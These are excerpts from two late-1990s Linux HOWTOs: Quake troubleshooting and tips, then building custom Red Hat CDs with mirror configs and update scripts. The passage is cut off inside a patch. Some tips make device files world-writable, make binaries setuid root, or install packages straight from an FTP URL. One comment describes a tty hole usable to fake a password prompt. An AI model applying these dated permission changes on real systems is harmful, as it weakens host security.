SVGAlib probably doesn't know how to create the modes on your card. When Quake II starts up with the SVGA renderer (ref_soft.so), it prints a list of all the modes that SVGAlib tells it are available:

     ------- Loading ref_soft.so -------
     Using RIVA 128 driver, 4096KB.
     mode 320: 200 1075253220
     mode 320: 240 1075253220
     mode 320: 400 1075253220
     mode 360: 480 1075253220
     mode 640: 480 1075253220
     mode 800: 600 1075253220
     mode 1024: 768 1075253220
     mode 1280: 1024 1075253220
These are the only modes you will be able to successfully switch to from the Video menu. If say, 512x384 isn't on the list, selecting it from the Video menu won't work.

SVGAlib does let you define new video modes for some chipsets in libvga.config, so you may be able create your own video mode this way. See the SVGAlib documentation for more detail on this topic.

When I try connect to a Quake II server that's running a mod, quake2 crashes with the message "Error: VID: Could not open display". **

According to Zoid, this problem occurs when the video system restarts due to a gamedir change. Several libraries get unloaded and reloaded during the restart, and this apparently causes quake2 to blow chunks on many systems.

The workaround solution is to set the game CVAR on the command line before you start up quake2. So if you're going to connect to a CTF server, you'd start quake2 like:

     ./quake2 +set game ctf ...
This may seem inconvenient if you're used to connecting to new servers without leaving the quake2 program, but unfortunately it's the only way around this problem right now. A frontend program like XQF will automatically do this command line stuff for you, so you ought to consider using one if you're not currently doing so.


Linux Quake HOWTO: Tips & Tricks

 Next Previous Contents

6. Tips & Tricks

6.1 Running X and GL games without setuid

If you only run the X and GL versions of Quake, QuakeWorld or Quake II, you don't need to run them with root permissions. SVGA is the only mode that must be run as root. The X versions just need access to /dev/dsp, the sound device. The GL versions need access to the 3Dfx card as well as to /dev/dsp.

/dev/dsp needs to be readable and writeable by Quake. Most distributions give it 662 (rw-rw--w-) permissions by default. The simplest solution is to just chmod 666 /dev/dsp. On most systems, the ability to read from the sound device will not pose a significant security threat. If this approach is unacceptable for your system, create a group that owns /dev/dsp and make your Quake players members of that group.

You need the /dev/3dfx driver from Daryll Strauss' glide page ( http://glide.xxedgexx.com/3DfxRPMS.html) in order run glide applications (like GLQuake) non-root. Download the Device3Dfx.xxx.rpm package and install according to the instructions on the web page. After you've installed the driver, make sure /dev/3dfx has 666 permissions (chmod 666 /dev/3dfx).

When /dev/dsp and /dev/3dfx are properly set up, you can remove the setuid bit from your Quake/QW/Q2 executables. Just do (as root) chmod 0755 XXXXX, where XXXXX is either glquake, quake.x11, or quake2.

If you've been playing as root prior to making these changes, many of your Quake files (like savegames) may be owned by root and inaccessible to a normal user, so remember to change the files' ownership before you attempt to play the game non-root.

6.2 Running SVGA and GL games from X

The GLX Quakeworld and Quake II clients are native X applications, but since they use Mesa rather than the 3Dfx mini-driver, they're slower than the lib3dfxgl.so versions. For this reason, you may still favor this way of starting games from X over using the GLX clients.

This is based on a Linux Gazette 2 Cent Tip by Joey Hess ( joey@kite.ml.org) The original is at http://www.ssc.com/lg/issue20/lg_tips20.html#squake

Yes, it's possible to run the Quake games from X if you're root, but such behavior is naughty, and you still run the risk of having Quake crash and leave the console unresponsive. With a little work you can make it possible for a regular user to run SVGA and GL Quake from X AND automatically switch back to X when the program is finished, regardless of whether it exited normally or not.

Note: when I say "Quake" in the text below, I really mean "quake, glquake squake, qwcl, glqwcl, qwcl.x11 or quake2".

  • First, you'll need the open(1) package by Jon Tombs. This is a set of two very small programs that allow you to switch between virtual consoles and start programs on them. Download open from http://sunsite.unc.edu/pub/Linux/utils/console/. You shouldn't have to do much more than make;make install to compile and install it. Once it's installed, you need to make the open and switchto executables setuid root. So do this:
         cd /usr/local/bin
     chown root open switchto
     chmod 4755 open switchto
  • Next, save the following code to a file called getvc.c:
            /* getvc.c
         * Prints the number of the current VC to stdout. Most of this code
         * was ripped from the open program, and this code is GPL'd
         *
         * Joey Hess, Fri Apr  4 14:58:50 EST 1997
         */

         #include <sys/vt.h>
         #include <fcntl.h>

         main () {
           int fd = 0;
           struct vt_stat vt;

           if ((fd = open("/dev/console",O_WRONLY,0)) < 0) {
             perror("Failed to open /dev/console\n");
             return(2);
           }
           if (ioctl(fd, VT_GETSTATE, &vt) < 0) {
             perror("can't get VTstate\n");
             close(fd);
             return(4);
           }
           printf("%d\n",vt.v_active);
         }

         /* End of getvc.c */
    Compile it and install it somewhere in your $PATH:
         gcc getvc.c -o getvc
     strip getvc
     mv getvc /usr/local/bin
  • Now create a script called runvc: your $PATH:
         #!/bin/sh
     # Run something on a VC, from X, and switch back to X when done.
     # GPL Joey Hess, Thu, 10 Jul 1997 23:27:08 -0400
     exec open -s -- sh -c "$* ; chvt `getvc`"
    Make it executable and put it somewhere in your $PATH:
         chmod 755 runvc
     mv runvc /usr/local/bin
    Now you can use the runvc command to start Quake. Continue to use whatever command line you usually use to start your game, but put runvc at the beginning:
         runvc ./quake2 +set vid_ref gl +connect quake.foo.com
    You'll automatically switch to a VC, run Quake and then switch back to X when it's done!

  • Update: Joey Hess wrote in to say:
    I'd like to point out that some people may find that this doesn't work. If your /dev/ttyxx devices do not let you write to them by default (a good idea), then the open command won't be able to switch to them. In that case, you need to chown the next tty that is free after you start up X. I do this in xdm's Xtartup_0 script, as follows:
         # Set up tty8 as a console that is writable by the current user, so
     # open -s commands can be used to run stuff there.
     # Tty8 is used becuase it's the next free tty after 7 where X runs,
     # and so open tries to use it.
     chmod 640 /dev/tty8
     chown $USER.root /dev/tty8
     # This does open up a tiny security hole:
     #       user_a logs in with xdm, then logs out.
     #       user_b logs in at console.
     #       user_a can now redirect user_b to tty9 via the open command,
     #       and plop them down into some program that, perhaps, tries to
     #       persuade them to enter their password.

6.3 3Dfx "tweak" settings work in Linux too

You may have seen or heard mention of ways to "tweak" Quake's OpenGL performance by setting various environment variables. These variables are equally valid under Linux. You just set them slightly differently. If a Windows/DOS "tweak" guide tells you to:

     SET SST_GRXCLK=59

Under Linux, do it like this:

     export SST_GRXCLK=59

6.4 The Poor Man's Server Browser

Joe S. ( jszabo@eden.rutgers.edu) suggests:

     a trick I do with qstat:
     I make a file of my favorite servers, then do
     qstat -f /C/quake2/file.txt | less

hit control z to suspend, then copy the ip address or hostname I want with gpm to a command line like:

     ./quake2 +connect expert.eqclans.com
Then I can use fg to go back to the list later...

6.5 Using lib3dfxgl.so for Quake I

You can use the 3Dfx mini-driver (lib3dfxgl.so) from Quakeworld or Quake II with glquake too. Simply copy the glqwcl.3dfxgl or quake2.3dfxgl scripts to a new file, say glquake.3dfxgl. Then edit the glquake.3dfxgl script so it runs glquake instead of glqwcl. The same restrictions about running as root apply here, as do the differences between running under glibc and libc5. See the Quakeworld or Quake II sections for more information on lib3dfxgl.so.

6.6 Getting rid of that annoying "POSSIBLE SCAN CODE ERROR 57" message in GLQuake. ++

If you're sick of seeing that useless message every time you press the space bar in GLQuake, execute the following command from your quake directory and you'll never have to deal with it again. This little piece of Perl code just replaces the first character of the message with a null character, which signifies the end of a string in C programs. Now when GLQuake thinks it needs to tell us about a possible scan code error, it outputs an empty string instead! Oh, and your original glquake binary gets automatically backed up to glquake.bak too.

    perl -i.bak -0777pe 's/P(ossible unknown scancode)/\0$1/g' glquake

Thanks to Andrew Chase ( fixy@fixy.org) for this.


Linux Quake HOWTO: Administrivia

 Next Previous Contents

7. Administrivia

7.1 New Versions of This Document

New versions of this document will be periodically posted to comp.os.linux.answers and rec.games.computer.quake.misc. They will also be uploaded to various WWW and FTP sites, including the LDP home page.

New versions of this document will be periodically posted to rec.games.computer.quake.misc and comp.os.linux.misc.

The latest version of the Linux Quake HOWTO can always be found at the following sites:

  • http://www.linuxquake.com/
  • http://webpages.mr.net/bobz/
  • http://www.linuxgames.com/quake

7.2 Distribution Policy

Copyright (c) 1998, Bob Zimbinski, Brett A. Thomas and Mike Hallock. This document may be distributed under the terms set forth in the LDP license at sunsite.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP license. This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. Heck, even if this document kills your dog, it's not our fault.

See the LDP license for more details.

7.3 Revision History

Sections of this document that were updated in the last revision have a ** after the section heading. Sections updated in the revision prior to the last are marked with a ++.

Below is the full revision history of this document. It is not intended to be useful to anyone but the document authors.

     $Log: Quake-HOWTO.sgml,v $
     Revision 1.0.1.18  1998/12/19 00:56:31  bobz
     Minor typo removed

     Revision 1.0.1.17  1998/12/19 00:45:01  bobz
     Moved "Other Formats" section to top of the document for better visibility
     Added troubleshooting topic about crashes upon connecting to a server w/different gamedir
     Added mention of RedHat's broken ld.so configuration to Mesa sections
     Added details about using the new gl_driver cvar
     Added troubleshooting bit about mouse permissions

     Revision 1.0.1.16  1998/12/12 05:34:02  bobz
     updated file links for quake2 version 3.20
     URL change for Linux Game Tome
     Added linuxgames.org to list of Linux Game sites
     Removed nasty references to /usr/games/quake as installation dir
     Removed info about compiling libc5 libraries for use with Q2
     Added a few sentences about /dev/3dfx and mtrr support in the Q1 & Q2 glide sections.
     Added a warning about using the glide library from 3dfx's site
     mentioned that GLX versions no longer require svgalib
     Updated performance FAQ
     Moved mouse in X tip from Tips to FAQ
     Added Vispatch to Related Software
     Added quakelaunch to Related Software
     Added qplog to Related Software
     Added link to server setup guide at 3dgw.com
     Added X color depth FAQ
     Added Quake source code FAQ
     Added new info from JH in Running from X Tip.
     Added fix for POSSIBLE UNKNOWN SCANCODE in glquake
     Minor wording changes and type fixes throughout

     Revision 1.0.1.15  1998/10/05 21:09:42  bobz
     Fixed a few typos and spelling errors that I missed last time around

     Revision 1.0.1.14  1998/10/05 19:54:17  bobz
     Removed the long-dead LinQuake page from list of Linux Quake sites
     Removed renaissoft.com link
     Minor wording changes throughout
     Added link to svgalib libc5 binary
     Added info about q2 demo
     Updated q2 installation info for the 3.19 release
     moved section about 3.17 textfile problems to the troubleshooting section
     Added part about lib3dfxgl.so to QW section
     Added part about GLX client to QW section
     Added part about lib3dfxgl.so to Q2 section
     Added part about GLX client to Q2 section
     Updated "slower than windows" FAQ
     Removed obsolete TS tip about glibc & q2
     Removed obsolete TS tip about playing w/CD mounted
     Changed tip about running glquake with lib3dfxgl.so
     Added instructions for Q2 mission pack 2
     Added pointer to svgalib libc5 binary
     Added FAQ about svgalib modes in Q2
     Added Cheapo proxy to software section
     Added screen FAQ
     Added qgraph to  software sectoin
     Decided I was lying when I promised a 3Dfx tweak section in the next update

     Revision 1.0.1.13  1998/09/02 01:35:18  bobz
     Fixed some broken url links
     Restored <author> tag
     added an acknowledgement
     added a reminder to the non-root tip
     added qlog listing

     Revision 1.0.1.12  1998/08/30 21:35:23  bobz
     Updated QuakeWorld install section for 2.30 release
     Updated QW file list
     Updated Quake 1.01 install info per email suggestion
     Added QW 2.30 caveat to "Glibc considerations" section
     Updated linux vs. windows speed section for new 3dfx miniport
     Added glqwcl versions FAQ
     Added troubleshooting tip about windows focus and glx
     Added a sentence about /dev/3dfx permissions
     Made runvc script usage clearer
     Added tip about using mini-driver with Quake & QuakeII

     Revision 1.0.1.11  1998/08/15 19:28:49  bobz
     Added glibc topic in Troubleshooting/FAQ section
     Moved non-setuid info to Tips & Tricks section
     Moved rcs log into Revision Hist section
     Changed distribution info a little until LDP wakes up
     Changed references to quake.medina.net to www.linuxquake.com
     Added linuxgames.com to list of places to get current version
     Changed 3dfx Howto pointer
     Moved explanation of change markings (** and ++) to intro section where they'll be noticed
     Mentioned zoid's GL driver port in the Win vs Linux FAQ
     Fixed credit and URL in q2getty

     Revision 1.0.1.10  1998/08/07 19:07:02  bobz
     Changed XQF url
     Added comments to the revision history section
     Started marking changed sections
     Added OS Considerations to troubleshooting section
     Added rcon to Other Software section
     Added ICE to Other Software section

     Revision 1.0.1.9  1998/08/04 21:06:22  bobz
     Updated Acknowledgements
     Added discussion of Quake security
     Added QIPX to "Related Software"
     Added ts topic about -noudp

     Revision 1.0.1.8  1998/08/03 22:09:28  bobz
     Updated and restructured the q2 mods section
     Minor change to gpm troubleshooting info
     Changed sound ts info
     Changed intellimouse ts info

     Revision 1.0.1.7  1998/08/03 04:55:21  mikeh
     Added "Playing" section of Q2 Mods & Addons section.
     Added "Intelimouse" section of Troubleshooting section
     Added RedHat sndconfig part to Troubleshooting section
     Fixed a few spacing problems, and one error message

     Revision 1.0.1.6  1998/08/03 02:01:13  bobz
     Changed abstract.

     Revision 1.0.1.5  1998/07/31 16:07:11  bobz
     Added gpm -k mention in mouse troubleshooting
     mentioned 'sensitivity' in mouse lag troubleshooting
     Added qstat|less tip
     Added "/dev/dsp not configured" to troubleshooting
     Slightly reworded part of the mod compiling section
     Added bit about running mods server side
     corrected required version # in q2 mission pack 1
     Updated acknowledgements section

     Revision 1.0.1.4  1998/07/30 21:08:46  bobz
     Fixed a problem with broken lines in <sect> tags

     Revision 1.0.1.3  1998/07/30 17:40:29  bobz
     Fixed broken link to Latex version.

     Revision 1.0.1.2  1998/07/30 15:46:40  bobz
     Test update.

     Revision 1.0.1.1  1998/07/30 15:43:59  bobz
     Changed version numbering scheme.

     Revision 1.10  1998/07/30 13:51:24  bobz
     Minor version reporting change

     Revision 1.9  1998/07/29 20:42:03  bobz
     Added some server links

     Revision 1.8  1998/07/29 17:37:15  bobz
     Added a Quake II model viewer to the Other Programs section

     Revision 1.7  1998/07/29 16:02:23  bobz
     Added some relative links in Other Formats to make it
     more portable.

     Revision 1.6  1998/07/29 15:18:12  bobz
     Version and date stamps back to the way they were

     Revision 1.5  1998/07/29 14:52:03  bobz
     Added tags for automatic timestamping

     Revision 1.4  1998/07/29 13:17:51  bobz
     Changed captured.com's web address per webmaster's request

     Revision 1.3  1998/07/29 02:11:02  bobz
     Ooops again.  Made "Other formats" a <sect> instead of a <sect1>.

     Revision 1.2  1998/07/29 01:55:41  bobz
     Oops.  I deleted the doctype tag...

     Revision 1.1  1998/07/29 01:48:34  bobz
     Added Other Formats section.
     Changed acknowledgments slightly
     Added ftp.medina.net to list of ftp sites.

     Revision 1.0 1998/07/28
     First publicly released version

     Revision 0.9 1998/07/25
     Restructured,rewritten and expanded by Bob Zimbinski.

     Revision 0.01 1998/06/16
     First Pre-Release version v0.01by Brett A. Thomas and Mike Hallock.


Burning a RedHat CD HOWTO

Morten Kjeldgaard, mok@imsb.au.dk and Peter von der Ahé, pahe+rhcd@daimi.au.dk

$Date: 2000/03/02 16:28:37 $ $Revision: 1.34 $

This document describes how to make your own CDs from the Red Hat Linux distribution equivalent to the ones commercially available from Red Hat. The structure of the distribution is described, as well as the procedure needed to include updated RPMS into the distribution. Prerequisites are a good network connection, and a CD-writer.

1. Introduction

2. Anatomy of the Red Hat FTP site

  • 2.1 The top level directory
  • 2.2 The "RedHat" directory -- the core of the distribution
  • 2.3 The "updates" directory

3. RPM packages

4. Obtaining your local copy of the distribution

5. Incorporating the updates

  • 5.1 Correcting the file protection modes
  • 5.2 Replacing the updated RPMS
  • 5.3 Generating a new hdlist file
  • 5.4 The comps file

6. At last: burning the CD

  • 6.1 Creating a bootable CD

7. Installing from the CD

  • 7.1 Booting from a bootable CD

8. Other Linux distributions

9. This document...

  • 9.1 Related documentation
  • 9.2 Acknowledgements

10. DISCLAIMER


Burning a RedHat CD HOWTO: Introduction

 Next Previous Contents

1. Introduction

There may be several reasons for making your own CD. Perhaps you're a cheapskate and want to save the $50 cost of the Red Hat distribution. Or, perhaps you want a distribution CD containing the latest distribution with all current updates. This is highly relevant, because after each major release of the Red Hat distribution, there have been loads of updates, several of which are security related. Just take a look at the errata page.


Burning a RedHat CD HOWTO: Anatomy of the Red Hat FTP site

 Next Previous Contents

2. Anatomy of the Red Hat FTP site

In the spirit of the Linux community, Red Hat Software has made available their Linux distributions for several platforms on their FTP site. These are all available from the top distribution directory.

2.1 The top level directory

The toplevel directory for RedHat Linux release 6.1 ( pub/redhat/redhat-6.1) contains distributions for the different platforms, and a directory containing updates and corrections to program packages that have been published since the release.

SRPMS/     alpha/     i386/      sparc/      iso/

In this document, we use the i386 distribution as an example. The procedure given in this document is likely to work on all platforms supported by Red Hat (Alpha, SPARC, ppc, etc.), but we have only tested it on the i386 platform (the authors would be most interested in additional information). The root of the i386 directory looks like this:

-rw-r--r--   1 root     root    18391  Mar 19  1999   COPYING
-rw-r--r--   1 root     root     3409  Sep 26 01:12   README
-rw-r--r--   1 root     root     1908  Sep 25 18:20   RPM-GPG-KEY
drwxr-xr-x   5 root     root     4096  Oct 26 09:01   RedHat/
-rwxr-xr-x   1 root     root      538  Sep 26 04:16   autorun
-rwxr--r--   1 root     root     2048  Sep 30 20:00   boot.cat
drwxr-xr-x   7 root     root     4096  Oct 26 09:01   doc/
drwxr-xr-x   6 root     root     4096  Oct 26 09:01   dosutils/
drwxr-xr-x   2 root     root     4096  Oct 26 09:01   images/
-rw-r--r--   1 root     root   391123  Jan  5 09:05   ls-lR
-rw-r--r--   1 root     root    51786  Jan  5 09:05   ls-lR.gz
drwxr-xr-x   4 root     root     4096  Oct 26 09:01   misc/

The doc directory contains an abundance of information. Most importantly, the RedHat installation manual can be found in HTML format in the directory doc/rhmanual/manual/. Next, there is a number of FAQs, and finally, the entire collection of HOWTOs and mini-HOWTOs.

The images directory contains boot floppy images that must be copied to a diskette. In the most recent distribution (6.1), there are two disk images available. The boot image is called boot.img, which is required when installation is performed directly from a CD-ROM. If installation from a local hard disk, NFS mounted disk or FTP is required, the supplementary disk image supp.img might be needed. See section Installing from the CD and references therein for details.

The misc directory contains source and executables of a number of programs needed for the installation. Finally, the iso directory contains iso9660 images just like the one you we about to make.

2.2 The "RedHat" directory -- the core of the distribution

The most important part of the directory tree is rooted in the RedHat directory:

drwxr-xr-x   2 root     root    28672   Oct 26 09:01   RPMS
drwxr-xr-x   2 root     root     4096   Oct 26 09:01   base
-rw-r--r--   1 root     root        0   Jan 19  1999   i386
drwxr-xr-x   6 root     root     4096   Oct 26 09:01   instimage

The RPMS directory contains the major part of the Red Hat distribution consisting of a set of RPM (Redhat Package Manager) files. An RPM package typically contains binary executables, along with relevant configuration files and documentation. See the section RPM packages for more information.

The base directory holds different book-keeping files needed during the installation process, e.g. the comps file, which defines the components (groups of packages) used during the "Choose packages to install" phase. See section The comps file for more information on this file, and how to use it. Another important file in the base directory is the hdlist file containing most of the header fields from all the RPMs in the RPMS directory.

This means that all the interdependencies among RPM packages can be determined just by reading hdlist without having to read all the RPM packages which is quite convenient especially during FTP installs.

Another use of hdlist is mapping package names to file name, eg. perl to perl-5.004-6.i386.rpm. This means that if you want to incorporate updates from RedHat (see section Incorporating the updates) or add your own packages to the RPMS directory, you need to update hdlist. This is descriped later in Generating a new hdlist file.

The instimage directory contains a bare-bones live file system with a number of programs and shared libraries needed during the installation procedure.

2.3 The "updates" directory

The /pub/redhat/updates directory has updates for all releases of RedHat's distribution since version 3.0.3. This is the place to find software packages that have been uppdated for some reason or other. You should especially be aware of security updates. These are publicised on RedHat's errata page whenever a fix is available. The most important files found in the updates directory are:

drwxrwxr-x   8 ftpuser  ftpusers      8192 Aug 18 08:05 5.1/
drwxrwxr-x   9 ftpuser  ftpusers      8192 Sep 18 08:07 5.2/
drwxrwxr-x   9 ftpuser  ftpusers      8192 Jan  7 23:09 6.0/
drwxrwxr-x   9 ftpuser  ftpusers      8192 Jan  7 23:09 6.1/
lrwxrwxrwx   1 ftpuser  ftpusers      3 Aug 25 13:14 current -> 6.1/

The structure of each of these directories is similar to that described in section The top level directory


Burning a RedHat CD HOWTO: RPM packages

 Next Previous Contents

3. RPM packages

The major part of the Red Hat distribution consists of a set of RPM (Redhat Package Manager) files. An RPM package typically contains binary executables, along with relevant configuration files and documentation. The rpm program is a powerful package manager, which can be used to install, query, verify, update, erase and build software packages in the RPM format. Rpm convieniently maintains a database of all the software packages it has installed, so information on the installed software is available at any time.

The binary RPM files in the distribution have been built on a system running the distribution itself. This is important, because most of the programs in the packages rely on shared libraries. From RedHat version 5.0, the new version 2 of the GNU standard C library (which is 64-bit clean) has been used. This version of the library is commonly referred to as glibc or in Linux: libc 6. All executables in the distribution have been linked against this library. If you attempt to install binary files from a different distribution, chances are that they will not work, unless you install the libc5 package for backwards compability.

The names of the RPM packages contain the suffix .arch.rpm, where arch is the architechture, having the value i386 for Intel platform binaries. The packages you install must match the versions of the shared libraries available on the machine. The rpm program is usually quite good at ensuring that this is indeed the case, however, there are ways around this check, and you should be sure that you know what you are doing if you force installation of packages this way. However, using the RedHat installation boot disk, it is ensured that the correct set of RPM packages are installed on the machine.

If you discover an RPM package that was not installed on your system during the installation process, don't despair. At any time, you may (as root) install RPM packages, for example:

rpm --install  WindowMaker-0.18-1b.i386.rpm

You can even install directly from the Internet, if you know the URL of an RPM package:

rpm --install ftp://rufus.w3.org/redhat-contrib/noarch/mirror-2.9-2.noarch.rpm

Another version of the RPM packages contain the original sources used to build the binaries. These packages have the suffix .src.rpm and are situated in the SRPMS directory. These packages are not needed on the installation CD, and in fact, there is not even enough disk space on an 74 minute burnable CD to accomodate them. Of course, you can make a separate CD with the SRPMS.


Burning a RedHat CD HOWTO: Obtaining your local copy of the distribution

 Next Previous Contents

4. Obtaining your local copy of the distribution

You need a copy of the distribution on a writable disk which is accessible from the computer having the CD writer (duh!). If you want to incorporate the latest updates, this directory should (also) be accessible from from a Linux machine, either from a local disk, an NFS mounted disk on a different computer, or a JAZ disk.

You could copy the distribution from a RedHat CD, or you could get it via FTP. If you choose to use FTP, the best way to get a correct copy of the distribution is to use the mirror package.

Mirror is a sophisticated perl script that compares the content of a directory on a remote site with a local directory. It will use FTP to fetch the files that are on the remote site but not the local site, and delete files on the local site that are not on the remote site. The mirror program is configured with a configuration file. The mirror package is available as an RPM from rufus.w3.org.

Make your local copy mirror.redhat of the mirror configuration file, and edit the relevant fields at the top of the file. After the default section, define these packages:

package=updates
        site=ftp.sunsite.auc.dk
        exclude_patt=(alpha/|sparc/|SRPMS/)
        remote_dir=/disk1/ftp.redhat.com/pub/redhat/updates/6.1
        local_dir=/jaz/updates/6.1

package=dist
        site=ftp.sunsite.auc.dk
        exclude_patt=(alpha/|sparc/|SRPMS/|iso/)
        remote_dir=/disk1/ftp.redhat.com/pub/redhat/redhat-6.1
        local_dir=/jaz/redhat-6.1

The following command will download a copy of the entire RedHat tree on your local disk. *Think* before you do this, you are about to transfer approximately 500Mb of data!

mirror -pdist mirror.redhat

This will mirror the Red Hat FTP site on your local disk. The content of a Red Hat distribution does not change between releases, so you only need to download this package ONCE. All changes to the distribution are in the updates directory. Thus, if you want to keep an up-to-date mirror of the Red Hat distribution, you only need to keep the updates directory current. This is done using the command

mirror -pupdates mirror.redhat

You can run this regularly, say, once a week, through a cron script. The RedHat distribution is available on a great number of FTP servers around the world, which are updated daily from the master site at ftp://ftp.redhat.com/pub. You should choose an FTP site close to you, see the RedHat list of mirror sites.


Burning a RedHat CD HOWTO: Incorporating the updates

 Next Previous Contents

5. Incorporating the updates

To incorporate the updates, you need write access to the distribution directory from a Linux machine, with a working version of rpm installed. There are three steps involved:

  1. Correct the file protection modes.
  2. Replace updated RPMs.
  3. Generate the hdlist file

If you maintain a mirror of the updates directory, you can at any time produce a CD including the current updates by repeating these steps.

5.1 Correcting the file protection modes

During the installation process, some programs are run directly off the CD. Unfortunately, the FTP program does not always preserve the protection modes of the files and directories that are copied. Therefore, it is necessary to make sure that execute permission is given to programs, shell scripts and shared libraries, before the directory is burned on the CD. This is done by running the updatePerm script on your local copy of the distribution:

#!/bin/bash

RHVERSION=6.1

LIST=/tmp/er3hd3w25
RHROOT=/jaz/redhat-${RHVERSION}

# Find all directories, and make sure they have +x permission
find $RHROOT -type d -exec chmod -c 755 {} \;

# Find all files that are executables, shell, python or perl scripts
find $RHROOT -type f | file -f - | grep -v RPM \
   | egrep -i 'executable|perl|bourne|shell|python' | cut -f1 -d: > $LIST
#   ====>     NEEDED FOR RedHat 6.1        ^^^^^^^

# Find shared libraries
find $RHROOT -name \*.so >> $LIST

# Make them executable
while read file
do
   if [ ! -x $file ] ; then
      chmod -c 755 $file
   fi
done < $LIST

/bin/rm $LIST

exit 0

5.2 Replacing the updated RPMS

The following script called updateCD copies all files from the update directory to the RPMS directory. The script uses some nifty rpm tricks to determine what packages in the updates directory are more recent. Older packages are moved to the ${OLD} directory.

#! /bin/bash
# This script updates rpms in a RedHat distribution found in $RPMDIR.
# The old rpms will be placed in $OLDDIR.
# The new rpms should be located in $UPDDIR.
# The new images are in $IMGDIR
# The images to be updated are in $OMGDIR
# The architechture is $ARCH.

RHVERSION=6.1
ARCH=i386

RHROOT=/jaz/redhat-${RHVERSION}
RPMDIR=${RHROOT}/${ARCH}/RedHat/RPMS
UPDDIR=${RHROOT}/updates/${ARCH}
IMGDIR=${RHROOT}/updates/images/${ARCH}
OMGDIR=${RHROOT}/${ARCH}/images
OLDDIR=${RHROOT}/old

if [ ! -d $OLDDIR ] ; then
   echo making directory $OLDDIR
   mkdir $OLDDIR
fi

allow_null_glob_expansion=1

for rpm in ${UPDDIR}/*.rpm ; do
  NAME=`rpm --queryformat "%{NAME}" -qp $rpm`
  unset OLDNAME
  for oldrpm in ${RPMDIR}/${NAME}*.rpm ; do
    if [ `rpm --queryformat "%{NAME}" -qp $oldrpm` = "$NAME" ]; then
      OLDNAME=$oldrpm;
      break
    fi
  done
  if [ -z "$OLDNAME" ]; then
    echo $NAME is new
    cp -pv $rpm $RPMDIR
  else
    if [ `basename $rpm` != `basename $OLDNAME` ]; then
      mv $OLDNAME $OLDDIR
      cp -pv $rpm $RPMDIR
    fi
  fi
done

# Copy new boot image files to the right place...
for newfile in ${IMGDIR}/* ; do
  file=${OMGDIR}/$(basename ${newfile})
  if [ $newfile -nt $file ] ; then
     cp -pv $newfile $file
  fi
done

exit 0

Important note for RedHat 6.0, 6.1

Certain RPMs, specifically the kernel and kernel-smp packages, include the platform in the filename but not in the package name. For example, the "kernel" package comes in several flavors:

kernel-2.2.5-22.i386.rpm
kernel-2.2.5-22.i586.rpm
kernel-2.2.5-22.i686.rpm

but for all three rpm -qp returns just "kernel" for the package name.

As you can see, this "outsmarts" the updateCD script. The result is that only the last one gets properly copied. The first two get copied, but are then moved to the $OLD directory! Preferably, RedHat should name these differently. But for now, the easy solution is to move the packages by hand, after running updateCD. (Thanks to Kyle B. Ferrio <kyle@U.Arizona.EDU>)

Joshua Sarro <mthed@shore.net> has contributed a perl script called updateMirror.pl which can deal with the situation. You can fetch it here: http://imsb.au.dk/~mok/linux/doc/updateMirror.pl.

5.3 Generating a new hdlist file

When installing from the CD, the installation program on the CD relies on the file RedHat/base/hdlist describing what RPM packages are available on the CD. The hdlist file can be generated by the program misc/src/install/genhdlist. This program must be run with the absolute path to the root of the distribution as the only argument. Here is the updateHdlist script which calls that program:

#!/bin/bash

RHVERSION=6.1
ARCH=i386

echo generating hdlist...
RHROOT=/jaz/redhat-${RHVERSION}
GENHDDIR=${RHROOT}/${ARCH}/misc/src/install

chmod u+x ${GENHDDIR}/genhdlist
chmod 644 ${RHROOT}/${ARCH}/RedHat/base/hdlist
${GENHDDIR}/genhdlist ${RHROOT}/${ARCH} || echo "*** GENHDLIST FAILED ***"

exit 0

NOTE: After having incorporated the updates in the main RedHat/RPMS directory, your copy of the distribution is no longer a mirror of the Red Hat distribution site. Actually, it is more up-to-date! Therefore, if you attempt to mirror the distribution, older versions of the RPM's that have been updated will be downloaded once more, and the updates deleted.

Important note for RedHat 6.1

The installation in RedHat 6.1 is completely changed from earlier versions, and RedHat have introduced a system called ``anaconda''. The genhdlist program is now found in a different place, so in the script above, use

GENHDDIR=${RHROOT}/${ARCH}/misc/src/anaconda/utils

The updatePerm script must be changed to include ``python'' in line 13. This has been done in the listing above, but if you've cut the script from earlier versions of this document (before 1.30), you need to make the change!

In some cases, genhdlist fails to run, because the executable is not statically linked. In such a case, you can add a new line ${RHROOT}/${ARCH}/RedHat/instimage/usr/lib in /etc/ld.so.conf and run ldconfig -v.

Another solution is to recompile genhdlist. The following modification to the updateHdlist script worked under RedHat 5.2:

#!/bin/bash

RHVERSION=6.1
ARCH=i386

RHROOT=/misc/redhat/redhat-${RHVERSION}
GENHDDIR=${RHROOT}/${ARCH}/misc/src/anaconda/utils

echo Compiling genhdlist...
sed -e 's/FD_t/int/' \
    -e 's/fdOpen/open/' \
    -e 's/fdClose/close/' \
    -e 's/fdFileno//' < ${GENHDDIR}/genhdlist.c > /tmp/genhdlist.c
cc -o /tmp/genhdlist -I/usr/include/rpm /tmp/genhdlist.c -lrpm -lz

echo generating hdlist...
chmod 644 ${RHROOT}/${ARCH}/RedHat/base/hdlist
/tmp/genhdlist ${RHROOT}/${ARCH} || echo "*** GENHDLIST FAILED ***"

exit 0

In this version of the script, a copy of the C source of genhdlist.c is piped through sed to create a copy in /tmp that will compile under RedHat 5.2. This version of genhdlist is then used to create the hdlist file

Important note for RedHat 5.2

As distributed with RedHat version 5.2 and earlier, genhdlist CRASHES if there are files in the RedHat/RPMS directory which are not RPM files! This causes problems, because in the 5.2 distribution, there are a couple of non-RPM files named ls-lR and ls-lR.gz in RedHat/RPMS. Therefore, you must remove all non-RPM files from the directory. Alternatively, you can apply the following patch to misc/src/install/genhdlist.c and do a make. The patch will cause genhdlist to ignore any non-RPM files.

*** genhdlist.c.orig    Fri Nov 27 12:08:13 1998
--- genhdlist.c Fri Nov 27 12:08:20 1998
***************
*** 12,23 ****
--- 12,26 ----

  #define FILENAME_TAG 1000000

+ /* Not used apparently...
+
  int tags[] =  { RPMTAG_NAME, RPMTAG_VERSION, RPMTAG_RELEASE, RPMTAG_SERIAL,
                RPMTAG_FILENAMES, RPMTAG_FILESIZES, RPMTAG_GROUP,
                RPMTAG_REQUIREFLAGS, RPMTAG_REQUIRENAME, RPMTAG_REQUIREVERSION,
                RPMTAG_DESCRIPTION, RPMTAG_SUMMARY, RPMTAG_PROVIDES,
                RPMTAG_SIZE, RPMTAG_OBSOLETES };
